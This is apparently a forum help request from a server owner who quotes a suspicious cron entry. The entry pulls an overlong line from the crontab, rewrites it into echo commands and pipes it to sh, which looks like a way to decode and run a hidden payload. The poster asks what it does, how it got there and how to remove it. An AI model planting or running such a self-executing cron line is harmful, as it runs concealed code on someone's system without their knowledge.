need help please

I found a cron running on my server

Cron <XXXXX@easyold> /bin/echo `crontab -l|grep '.\{666\}'|sed 's/^./echo -e -n/'`|sh

What is is doing?
how do I find how it got on my server?
How do I get rid of it?

Thanks
Ivaserver

 

 

 

 

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